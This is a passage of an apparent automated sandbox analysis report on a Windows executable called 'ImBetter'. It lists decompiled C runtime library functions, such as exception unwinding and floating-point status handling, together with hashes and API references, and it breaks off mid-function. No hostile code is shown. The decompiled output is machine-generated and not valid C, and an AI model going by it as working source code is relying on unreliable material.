FlsSetValue.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A441
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A46E
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A47F
FlsSetValue.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A490
SetLastError.KERNEL32(?,?,?,00007FF7E6B29CED,?,?,?,?,00007FF7E6B29D38), ref: 00007FF7E6B2A4AB

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 70ce2887385d2c640d3d1263a7d0e93dd8bbcad92c57e64f567e8401f73d3b94
Instruction ID: 7bf13e7c0e54e2214aa8fd1408769177403d44ee4553c9d566905c5b5d3a2b6d
Opcode Fuzzy Hash: 70ce2887385d2c640d3d1263a7d0e93dd8bbcad92c57e64f567e8401f73d3b94
Instruction Fuzzy Hash: 8B113020A2868641F65477266D5933BB2D36F497B0FB44736E83E066D6DF3CF4014623

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3EDB8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 30%

			E00007FF77FF7E6B3EDB8(void* __rax, long long __rbx, long long __rcx, void* __rdx, long long __rsi, long long __r8, intOrPtr* __r9) {
				void* _t76;
				void* _t83;
				void* _t84;
				intOrPtr _t101;
				intOrPtr _t103;
				void* _t113;
				void* _t118;
				void* _t130;
				long long _t133;
				intOrPtr* _t135;
				signed long long _t144;
				void* _t150;
				signed long long _t154;
				void* _t156;
				long long _t158;
				intOrPtr* _t159;
				void* _t161;
				void* _t162;
				signed long long _t166;
				void* _t170;
				intOrPtr _t171;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t178;
				void* _t180;
				intOrPtr* _t181;

				_t130 = __rax;
				 *((long long*)(_t161 + 8)) = __rbx;
				 *((long long*)(_t161 + 0x10)) = _t158;
				 *((long long*)(_t161 + 0x18)) = __rsi;
				_t162 = _t161 - 0x40;
				_t159 = __rcx;
				_t181 = __r9;
				_t174 = __rdx;
				E00007FF77FF7E6B42D54(_t76, __r8);
				_t171 =  *((intOrPtr*)(__r9 + 8));
				_t135 =  *((intOrPtr*)(__r9 + 0x38));
				_t178 =  *__r9 - _t171;
				_t103 =  *((intOrPtr*)(__r9 + 0x48));
				if (( *(__rcx + 4) & 0x00000066) != 0) goto 0xe6b3eee0;
				 *((long long*)(_t162 + 0x30)) = __rcx;
				 *((long long*)(_t162 + 0x38)) = __r8;
				if (_t103 -  *_t135 >= 0) goto 0xe6b3ef8c;
				_t154 = __r8 + __r8;
				if (_t178 - _t130 < 0) goto 0xe6b3eed2;
				if (_t178 - _t130 >= 0) goto 0xe6b3eed2;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t154 * 8)) == 0) goto 0xe6b3eed2;
				if ( *((intOrPtr*)(_t135 + 0xc + _t154 * 8)) == 1) goto 0xe6b3ee5e;
				_t113 =  *((long long*)(_t130 + _t171))(_t180, _t176, _t173, _t170, _t150);
				if (_t113 < 0) goto 0xe6b3eed9;
				if (_t113 <= 0) goto 0xe6b3eed2;
				if ( *((intOrPtr*)(__rcx)) != 0xe06d7363) goto 0xe6b3ee8f;
				if ( *0xe6b57ef8 == 0) goto 0xe6b3ee8f;
				if (E00007FF77FF7E6B4B0B0(_t130 + _t171, _t135, 0xe6b57ef8) == 0) goto 0xe6b3ee8f;
				_t83 =  *0xe6b57ef8();
				r8d = 1;
				_t84 = E00007FF77FF7E6B42D20(_t83, _t159 + _t171, _t174);
				_t101 =  *((intOrPtr*)(_t135 + 0x10 + _t154 * 8));
				r9d =  *_t159;
				 *((long long*)(_t162 + 0x28)) =  *((intOrPtr*)(_t181 + 0x40));
				_t133 =  *((intOrPtr*)(_t181 + 0x28));
				 *((long long*)(_t162 + 0x20)) = _t133;
				__imp__RtlUnwindEx();
				E00007FF77FF7E6B42D50(_t84);
				goto 0xe6b3ee0e;
				goto 0xe6b3ef91;
				_t156 =  *((intOrPtr*)(_t181 + 0x20)) - _t171;
				goto 0xe6b3ef82;
				_t144 = _t174 + _t174;
				if (_t178 - _t133 < 0) goto 0xe6b3ef80;
				_t118 = _t178 - _t133;
				if (_t118 >= 0) goto 0xe6b3ef80;
				r10d =  *(_t159 + 4);
				r10d = r10d & 0x00000020;
				if (_t118 == 0) goto 0xe6b3ef55;
				r9d = 0;
				if (_t101 == 0) goto 0xe6b3ef50;
				r8d = r9d;
				_t166 = _t159 + _t159;
				if (_t156 - _t133 < 0) goto 0xe6b3ef48;
				if (_t156 - _t133 >= 0) goto 0xe6b3ef48;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t166 * 8)) !=  *((intOrPtr*)(_t135 + 0x10 + _t144 * 8))) goto 0xe6b3ef48;
				if ( *((intOrPtr*)(_t135 + 0xc + _t166 * 8)) ==  *((intOrPtr*)(_t135 + 0xc + _t144 * 8))) goto 0xe6b3ef50;
				r9d = r9d + 1;
				if (r9d - _t101 < 0) goto 0xe6b3ef18;
				if (r9d != _t101) goto 0xe6b3ef8c;
				if ( *((intOrPtr*)(_t135 + 0x10 + _t144 * 8)) == 0) goto 0xe6b3ef69;
				if (_t156 != _t133) goto 0xe6b3ef80;
				if (r10d != 0) goto 0xe6b3ef8c;
				goto 0xe6b3ef80;
				 *((intOrPtr*)(_t181 + 0x48)) = _t150 + 1;
				r8d =  *((intOrPtr*)(_t135 + 0xc + _t144 * 8));
				 *((long long*)(_t166 + _t171))();
				if (_t103 + 2 -  *_t135 < 0) goto 0xe6b3eeec;
				return 1;
			}

0x7ff7e6b3edb8
0x7ff7e6b3edb8
0x7ff7e6b3edbd
0x7ff7e6b3edc2
0x7ff7e6b3edd0
0x7ff7e6b3edd4
0x7ff7e6b3edd7
0x7ff7e6b3ede0
0x7ff7e6b3ede3
0x7ff7e6b3ede8
0x7ff7e6b3edef
0x7ff7e6b3edf3
0x7ff7e6b3edfa
0x7ff7e6b3edfe
0x7ff7e6b3ee04
0x7ff7e6b3ee09
0x7ff7e6b3ee10
0x7ff7e6b3ee18
0x7ff7e6b3ee22
0x7ff7e6b3ee2f
0x7ff7e6b3ee3a
0x7ff7e6b3ee45
0x7ff7e6b3ee58
0x7ff7e6b3ee5a
0x7ff7e6b3ee5c
0x7ff7e6b3ee65
0x7ff7e6b3ee6f
0x7ff7e6b3ee7f
0x7ff7e6b3ee89
0x7ff7e6b3ee93
0x7ff7e6b3ee9f
0x7ff7e6b3eeab
0x7ff7e6b3eeb2
0x7ff7e6b3eeb9
0x7ff7e6b3eebe
0x7ff7e6b3eec2
0x7ff7e6b3eec7
0x7ff7e6b3eecd
0x7ff7e6b3eed4
0x7ff7e6b3eedb
0x7ff7e6b3eee4
0x7ff7e6b3eee7
0x7ff7e6b3eeee
0x7ff7e6b3eef8
0x7ff7e6b3ef02
0x7ff7e6b3ef05
0x7ff7e6b3ef07
0x7ff7e6b3ef0b
0x7ff7e6b3ef0f
0x7ff7e6b3ef11
0x7ff7e6b3ef16
0x7ff7e6b3ef18
0x7ff7e6b3ef1b
0x7ff7e6b3ef26
0x7ff7e6b3ef30
0x7ff7e6b3ef3b
0x7ff7e6b3ef46
0x7ff7e6b3ef48
0x7ff7e6b3ef4e
0x7ff7e6b3ef53
0x7ff7e6b3ef5b
0x7ff7e6b3ef60
0x7ff7e6b3ef65
0x7ff7e6b3ef67
0x7ff7e6b3ef6f
0x7ff7e6b3ef73
0x7ff7e6b3ef7d
0x7ff7e6b3ef86
0x7ff7e6b3efae

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7E6B3EDE3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7E6B3EE78
RtlUnwindEx.KERNEL32 ref: 00007FF7E6B3EEC7

Strings

f, xrefs: 00007FF7E6B3EDF6
csm, xrefs: 00007FF7E6B3EE5E

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: d55fd1fe545e09ab1ae8cf87a02c823fbe18b6bc95b44d7d51b7ada6e78e56e2
Instruction ID: f2363c6eb93662cca1100c3501cf523f7b3070b6d902aca07961ddd996a29ad8
Opcode Fuzzy Hash: d55fd1fe545e09ab1ae8cf87a02c823fbe18b6bc95b44d7d51b7ada6e78e56e2
Instruction Fuzzy Hash: 0051DA32B6521186E754EF11E84476AB755FB54B84FA18033E92E83B48DFB8E842C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B37030 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7E6B37055
GetProcAddress.KERNEL32 ref: 00007FF7E6B3706B
FreeLibrary.KERNEL32 ref: 00007FF7E6B37092

Strings

mscoree.dll, xrefs: 00007FF7E6B3704C
CorExitProcess, xrefs: 00007FF7E6B37064

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ca88ad05ceee8ad424968d829cd59cf491f40a732d189d7d78fecb94045c3504
Instruction ID: f95f686d0c92897c7138962a680a047e23038b90794bfd0990bba8f075714f11
Opcode Fuzzy Hash: ca88ad05ceee8ad424968d829cd59cf491f40a732d189d7d78fecb94045c3504
Instruction Fuzzy Hash: 13F0A46173860281EA106F20EC4437BB364EF857A2FE41236C56D066E4DF7DE444C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B3FE38 Relevance: 7.8, APIs: 5, Instructions: 290
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF77FF7E6B3FE38(signed int __ecx, void* __rax, long long __rbx, void* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, signed char* __r8, signed char* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v40;
				void* _t39;
				void* _t41;
				void* _t84;
				long long _t88;
				long long _t100;
				long long* _t121;
				signed char* _t131;

				_t84 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t131 = __r9;
				if (__r8[4] == 0) goto 0xe6b3fe74;
				E00007FF77FF7E6B3E594(__rax);
				goto 0xe6b3fe7a;
				r15d = 0;
				if (__rdi == 0) goto 0xe6b3fffa;
				if (r15d == 0) goto 0xe6b3fe99;
				E00007FF77FF7E6B3E594(_t84);
				goto 0xe6b3fe9c;
				if ( *((intOrPtr*)(__rdi + 0x10)) == dil) goto 0xe6b3fffa;
				if (__r8[8] != 0) goto 0xe6b3feb3;
				if ( *__r8 >= 0) goto 0xe6b3fffa;
				if ( *__r8 < 0) goto 0xe6b3fec1;
				_t121 = __r8[8] +  *__rdx;
				if (( *__r8 & 0x00000080) == 0) goto 0xe6b3fef8;
				if (( *__r9 & 0x00000010) == 0) goto 0xe6b3fef8;
				_t88 =  *0xe6b6d8e8; // 0x0
				if (_t88 == 0) goto 0xe6b3fef8;
				_t39 =  *0xe6b4f3c8();
				if (_t88 == 0) goto 0xe6b40016;
				if (_t121 == 0) goto 0xe6b40016;
				 *_t121 = _t88;
				goto 0xe6b3ff57;
				if (( *__r8 & 0x00000008) == 0) goto 0xe6b3ff18;
				_t100 =  *((intOrPtr*)(__rcx + 0x28));
				if (_t100 == 0) goto 0xe6b4001b;
				if (_t121 == 0) goto 0xe6b4001b;
				 *_t121 = _t100;
				goto 0xe6b3ff57;
				if (( *__r9 & 0x00000001) == 0) goto 0xe6b3ff68;
				if ( *((intOrPtr*)(__rcx + 0x28)) == 0) goto 0xe6b40020;
				if (_t121 == 0) goto 0xe6b40020;
				E00007FF77FF7E6B3F010();
				if (__r9[0x14] != 8) goto 0xe6b3fff6;
				if ( *_t121 == __rdi) goto 0xe6b3fff6;
				E00007FF77FF7E6B3E890(_t39,  *_t121,  &(__r9[8]));
				 *_t121 = _t88;
				goto 0xe6b3fff6;
				if ( *((intOrPtr*)(_t131 + 0x18)) == 0) goto 0xe6b3ff7d;
				_t41 = E00007FF77FF7E6B3E5A8(_t88);
				goto 0xe6b3ff82;
				if (__rdi != 0) goto 0xe6b3ffbb;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0xe6b40025;
				if (_t121 == 0) goto 0xe6b40025;
				E00007FF77FF7E6B3E890(_t41,  *((intOrPtr*)(__rcx + 0x28)), _t131 + 8);
				E00007FF77FF7E6B3F010();
				goto 0xe6b3fff6;
				if ( *((intOrPtr*)(__rcx + 0x28)) == __rdi) goto 0xe6b4002a;
				if (_t121 == 0) goto 0xe6b4002a;
				if (0 == 0) goto 0xe6b3ffdb;
				E00007FF77FF7E6B3E5A8(_t88);
				goto 0xe6b3ffde;
				if (__rdi == 0) goto 0xe6b4002a;
				asm("sbb ecx, ecx");
				_v40 =  ~__ecx + 1;
				goto 0xe6b3fffc;
				return 0;
			}

0x7ff7e6b3fe38
0x7ff7e6b3fe38
0x7ff7e6b3fe3d
0x7ff7e6b3fe42
0x7ff7e6b3fe51
0x7ff7e6b3fe63
0x7ff7e6b3fe69
0x7ff7e6b3fe72
0x7ff7e6b3fe77
0x7ff7e6b3fe7d
0x7ff7e6b3fe86
0x7ff7e6b3fe88
0x7ff7e6b3fe97
0x7ff7e6b3fea0
0x7ff7e6b3fea9
0x7ff7e6b3fead
0x7ff7e6b3feb5
0x7ff7e6b3febe
0x7ff7e6b3fec4
0x7ff7e6b3feca
0x7ff7e6b3fecc
0x7ff7e6b3fed6
0x7ff7e6b3fed8
0x7ff7e6b3fee1
0x7ff7e6b3feea
0x7ff7e6b3fef0
0x7ff7e6b3fef6
0x7ff7e6b3fefb
0x7ff7e6b3fefd
0x7ff7e6b3ff04
0x7ff7e6b3ff0d
0x7ff7e6b3ff13
0x7ff7e6b3ff16
0x7ff7e6b3ff1c
0x7ff7e6b3ff25
0x7ff7e6b3ff2e
0x7ff7e6b3ff3b
0x7ff7e6b3ff45
0x7ff7e6b3ff4e
0x7ff7e6b3ff5b
0x7ff7e6b3ff60
0x7ff7e6b3ff63
0x7ff7e6b3ff6c
0x7ff7e6b3ff72
0x7ff7e6b3ff7b
0x7ff7e6b3ff85
0x7ff7e6b3ff8b
0x7ff7e6b3ff94
0x7ff7e6b3ffa6
0x7ff7e6b3ffb4
0x7ff7e6b3ffb9
0x7ff7e6b3ffbf
0x7ff7e6b3ffc4
0x7ff7e6b3ffc8
0x7ff7e6b3ffca
0x7ff7e6b3ffd9
0x7ff7e6b3ffe1
0x7ff7e6b3ffea
0x7ff7e6b3fff2
0x7ff7e6b3fff8
0x7ff7e6b40015

APIs

__AdjustPointer.LIBCMT ref: 00007FF7E6B3FF5B
__AdjustPointer.LIBCMT ref: 00007FF7E6B3FFA6

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9809596b8a9f08a91296a414ed14a9c004ba7059b1f72ae3189f8d23c33a0159
Instruction ID: 29f38fe8cd6f6606626d52679f95006f1edb62761231e3169c6e1b4419ef9158
Opcode Fuzzy Hash: 9809596b8a9f08a91296a414ed14a9c004ba7059b1f72ae3189f8d23c33a0159
Instruction Fuzzy Hash: D6B1E522F6A75681EA65BF11984033BF394AF44B84FA55437DE4C07B85EE7CE842C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B30A58 Relevance: 7.7, APIs: 5, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF77FF7E6B30A58(signed int __ecx, long long __rbx, signed int __rcx, void* __rdx, signed int __r8, signed int _a8, long long _a16, signed int _a32) {
				signed short _v90;
				unsigned int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				void* _t43;
				signed short _t44;
				unsigned int _t48;
				unsigned int _t49;
				void* _t51;
				signed int _t56;
				signed int _t62;
				signed int _t63;
				void* _t71;
				unsigned int _t72;
				signed int _t81;
				signed int _t82;
				void* _t85;
				signed int _t86;
				void* _t87;
				void* _t88;
				signed int _t90;
				void* _t91;
				signed int _t102;
				signed long long _t106;
				void* _t116;
				void* _t117;
				void* _t124;

				_t122 = __r8;
				_a16 = __rbx;
				asm("movaps [esp+0x40], xmm6");
				asm("movaps [esp+0x30], xmm7");
				_t56 = __ecx & 0x0000001f;
				_v100 = _t56;
				_t3 = _t116 + 0x10; // 0x10
				r15d = _t3;
				r12d = __ecx;
				if ((__ecx & 0x00000008) == 0) goto 0xe6b30aa8;
				if (r13b >= 0) goto 0xe6b30aa8;
				E00007FF77FF7E6B313F4(_t56, __rcx);
				_t57 = _t56 & 0xfffffff7;
				goto 0xe6b30d0a;
				_t81 = 0x00000004 & r12b;
				if (_t81 == 0) goto 0xe6b30ac6;
				asm("dec ecx");
				if (_t81 >= 0) goto 0xe6b30ac6;
				E00007FF77FF7E6B313F4(_t56 & 0xfffffff7, __rcx);
				goto 0xe6b30d0a;
				_t82 = sil & r12b;
				if (_t82 == 0) goto 0xe6b30b89;
				asm("dec ecx");
				if (_t82 >= 0) goto 0xe6b30b89;
				_t43 = E00007FF77FF7E6B313F4(_t57 & 0xfffffffb, __rcx);
				_t106 = __r8 & __rcx;
				if (_t82 == 0) goto 0xe6b30b54;
				if (_t106 == 0x2000) goto 0xe6b30b3b;
				if (_t106 == 0x4000) goto 0xe6b30b22;
				_t85 = _t106 - __rcx;
				if (_t85 != 0) goto 0xe6b30b81;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x1eb32]");
				asm("movsd xmm0, [0x1ffca]");
				if (_t85 > 0) goto 0xe6b30b7c;
				goto 0xe6b30b75;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x1eb19]");
				if (_t85 > 0) goto 0xe6b30b63;
				asm("movsd xmm0, [0x1ffaf]");
				goto 0xe6b30b75;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x1eb00]");
				if (_t85 <= 0) goto 0xe6b30b6d;
				asm("movsd xmm0, [0x1ff96]");
				goto 0xe6b30b7c;
				asm("movsd xmm0, [ebp]");
				asm("comisd xmm0, [0x1eae7]");
				if (_t85 <= 0) goto 0xe6b30b6d;
				asm("movsd xmm0, [0x1ff75]");
				goto 0xe6b30b7c;
				asm("movsd xmm0, [0x1ff6b]");
				asm("xorps xmm0, [0x1ff54]");
				asm("movsd [ebp], xmm0");
				goto 0xe6b30d0a;
				_t86 = r12b & 0x00000002;
				if (_t86 == 0) goto 0xe6b30d0a;
				asm("dec ecx");
				if (_t86 >= 0) goto 0xe6b30d0a;
				asm("movsd xmm0, [edx]");
				r14d = r12d;
				r14d = r14d >> 4;
				asm("xorps xmm7, xmm7");
				r14d = r14d & 0x00000001;
				asm("ucomisd xmm0, xmm7");
				if (_t86 != 0) goto 0xe6b30bbb;
				if (_t86 == 0) goto 0xe6b30cff;
				_t44 = E00007FF77FF7E6B311B4(_t43, _t86,  &_v104);
				_t71 = _v104 + 0xfffffa00;
				asm("movsd [esp+0x28], xmm0");
				_t87 = _t71 - 0xfffffbce;
				if (_t87 >= 0) goto 0xe6b30bec;
				asm("mulsd xmm0, xmm7");
				r14d = 1;
				asm("movaps xmm6, xmm0");
				goto 0xe6b30cf5;
				r9d = 0;
				asm("comisd xmm7, xmm0");
				r8b = dil;
				_a8 = dil;
				r9b = _t87 > 0;
				_v90 = _t44 & 0x0000000f | r15w;
				_a32 = dil;
				_t88 = _t71 - 0xfffffc03;
				if (_t88 >= 0) goto 0xe6b30c81;
				_t48 = _v96;
				_t72 = _v92;
				_a32 = _t48 & 0x00000001;
				if (_t88 == 0) goto 0xe6b30c50;
				r8b = sil;
				r14d =  ==  ? 1 : r14d;
				_t49 = _t48 >> 1;
				_v96 = _t49;
				_t90 = sil & _t72;
				if (_t90 == 0) goto 0xe6b30c63;
				asm("bts eax, 0x1f");
				_v96 = _t49;
				if (_t90 != 0) goto 0xe6b30c39;
				_t62 = _v100;
				_v92 = _t72 >> 1;
				_a8 = r8b;
				asm("movsd xmm6, [esp+0x28]");
				_t91 = r9d;
				if (_t91 == 0) goto 0xe6b30c99;
				asm("xorps xmm6, [0x1fe3d]");
				asm("movsd [esp+0x28], xmm6");
				asm("comisd xmm7, xmm0");
				r15b = _t91 > 0;
				if (_a32 != 0) goto 0xe6b30caa;
				if (r8b == 0) goto 0xe6b30cef;
				_t51 = E00007FF77FF7E6B39624(_v96 >> 0x30, __rcx, _t122);
				if (_t51 == 0) goto 0xe6b30cc9;
				if (_t51 == 0x100) goto 0xe6b30cc4;
				if (_t51 != 0x200) goto 0xe6b30cef;
				r15b = r15b ^ sil;
				goto 0xe6b30ce2;
				if (_a32 == dil) goto 0xe6b30cef;
				if (_a8 != dil) goto 0xe6b30ce4;
				if ((_v96 & sil) == 0) goto 0xe6b30cef;
				_v96 = _v96 + _t117;
				asm("movsd xmm6, [esp+0x28]");
				r15d = 0x10;
				asm("movsd [ebp], xmm6");
				if (r14d == 0) goto 0xe6b30d07;
				E00007FF77FF7E6B313F4(_t62, _t124);
				_t63 = _t62 & 0xfffffffd;
				_t102 = r15b & r12b;
				if (_t102 == 0) goto 0xe6b30d23;
				asm("dec ecx");
				if (_t102 >= 0) goto 0xe6b30d23;
				E00007FF77FF7E6B313F4(_t63, _t124);
				asm("movaps xmm6, [esp+0x40]");
				asm("movaps xmm7, [esp+0x30]");
				dil = (_t63 & 0xffffffef) == 0;
				return 0;
			}

0x7ff7e6b30a58
0x7ff7e6b30a58
0x7ff7e6b30a6e
0x7ff7e6b30a75
0x7ff7e6b30a7a
0x7ff7e6b30a80
0x7ff7e6b30a87
0x7ff7e6b30a87
0x7ff7e6b30a8b
0x7ff7e6b30a91
0x7ff7e6b30a96
0x7ff7e6b30a9b
0x7ff7e6b30aa0
0x7ff7e6b30aa3
0x7ff7e6b30aad
0x7ff7e6b30ab0
0x7ff7e6b30ab2
0x7ff7e6b30ab7
0x7ff7e6b30ab9
0x7ff7e6b30ac1
0x7ff7e6b30acb
0x7ff7e6b30ace
0x7ff7e6b30ad4
0x7ff7e6b30ad9
0x7ff7e6b30ae2
0x7ff7e6b30aef
0x7ff7e6b30af2
0x7ff7e6b30afa
0x7ff7e6b30b02
0x7ff7e6b30b04
0x7ff7e6b30b07
0x7ff7e6b30b09
0x7ff7e6b30b0e
0x7ff7e6b30b16
0x7ff7e6b30b1e
0x7ff7e6b30b20
0x7ff7e6b30b22
0x7ff7e6b30b27
0x7ff7e6b30b2f
0x7ff7e6b30b31
0x7ff7e6b30b39
0x7ff7e6b30b3b
0x7ff7e6b30b40
0x7ff7e6b30b48
0x7ff7e6b30b4a
0x7ff7e6b30b52
0x7ff7e6b30b54
0x7ff7e6b30b59
0x7ff7e6b30b61
0x7ff7e6b30b63
0x7ff7e6b30b6b
0x7ff7e6b30b6d
0x7ff7e6b30b75
0x7ff7e6b30b7c
0x7ff7e6b30b84
0x7ff7e6b30b89
0x7ff7e6b30b8d
0x7ff7e6b30b93
0x7ff7e6b30b98
0x7ff7e6b30b9e
0x7ff7e6b30ba2
0x7ff7e6b30ba5
0x7ff7e6b30ba9
0x7ff7e6b30bac
0x7ff7e6b30baf
0x7ff7e6b30bb3
0x7ff7e6b30bb5
0x7ff7e6b30bc0
0x7ff7e6b30bc9
0x7ff7e6b30bcf
0x7ff7e6b30bd5
0x7ff7e6b30bdb
0x7ff7e6b30bdd
0x7ff7e6b30be1
0x7ff7e6b30be4
0x7ff7e6b30be7
0x7ff7e6b30bf1
0x7ff7e6b30bf4
0x7ff7e6b30bf8
0x7ff7e6b30bfb
0x7ff7e6b30c03
0x7ff7e6b30c13
0x7ff7e6b30c1b
0x7ff7e6b30c22
0x7ff7e6b30c28
0x7ff7e6b30c2a
0x7ff7e6b30c35
0x7ff7e6b30c3d
0x7ff7e6b30c44
0x7ff7e6b30c49
0x7ff7e6b30c4c
0x7ff7e6b30c50
0x7ff7e6b30c52
0x7ff7e6b30c56
0x7ff7e6b30c59
0x7ff7e6b30c5b
0x7ff7e6b30c5f
0x7ff7e6b30c68
0x7ff7e6b30c6a
0x7ff7e6b30c75
0x7ff7e6b30c79
0x7ff7e6b30c81
0x7ff7e6b30c87
0x7ff7e6b30c8a
0x7ff7e6b30c8c
0x7ff7e6b30c93
0x7ff7e6b30c99
0x7ff7e6b30c9d
0x7ff7e6b30ca3
0x7ff7e6b30ca8
0x7ff7e6b30caa
0x7ff7e6b30cb1
0x7ff7e6b30cb8
0x7ff7e6b30cbf
0x7ff7e6b30cc1
0x7ff7e6b30cc7
0x7ff7e6b30cd1
0x7ff7e6b30cdb
0x7ff7e6b30ce2
0x7ff7e6b30ce4
0x7ff7e6b30ce9
0x7ff7e6b30cef
0x7ff7e6b30cf5
0x7ff7e6b30cfd
0x7ff7e6b30d02
0x7ff7e6b30d07
0x7ff7e6b30d0a
0x7ff7e6b30d0d
0x7ff7e6b30d0f
0x7ff7e6b30d14
0x7ff7e6b30d1b
0x7ff7e6b30d23
0x7ff7e6b30d32
0x7ff7e6b30d37
0x7ff7e6b30d4c

APIs

_set_statfp.LIBCMT ref: 00007FF7E6B30A9B
_set_statfp.LIBCMT ref: 00007FF7E6B30AB9
_set_statfp.LIBCMT ref: 00007FF7E6B30AE2
_set_statfp.LIBCMT ref: 00007FF7E6B30D1B

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 1afcdab3eaea493529a20fadf1366f142e09cc99823d9ea62b9a381b492cdd86
Instruction ID: 269abc03cdd1d3e93d4be1ae068fb3afed47fcba1e98e1be05f4664312f08642
Opcode Fuzzy Hash: 1afcdab3eaea493529a20fadf1366f142e09cc99823d9ea62b9a381b492cdd86
Instruction Fuzzy Hash: 3481F912F6CA4645F332AB38AC5037BF250EF55398FA44237EA4D16DD4DF7CA4818622

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B014A0 Relevance: 7.7, APIs: 5, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF7E6B014A0(long long __rbx, long long __rcx, intOrPtr* __rdx, long long __r8) {
				void* __rsi;
				void* _t32;
				void* _t34;
				void* _t35;
